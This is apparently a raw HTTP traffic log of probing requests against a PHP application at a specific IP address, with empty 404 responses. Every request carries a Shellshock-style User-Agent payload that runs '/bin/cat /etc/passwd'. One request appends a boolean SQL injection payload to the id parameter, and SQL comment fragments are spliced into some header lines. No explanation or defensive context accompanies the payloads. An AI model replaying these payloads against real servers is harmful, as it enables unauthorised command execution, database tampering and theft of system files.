host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"%" --
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/dashboard.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:20:46 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=88
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1 ASC --
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/dashboard.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:22:44 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=88
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?id=54%22+AND+%221%22%3D%221%22+--+ HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/dashboard.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:45:53 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=90
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8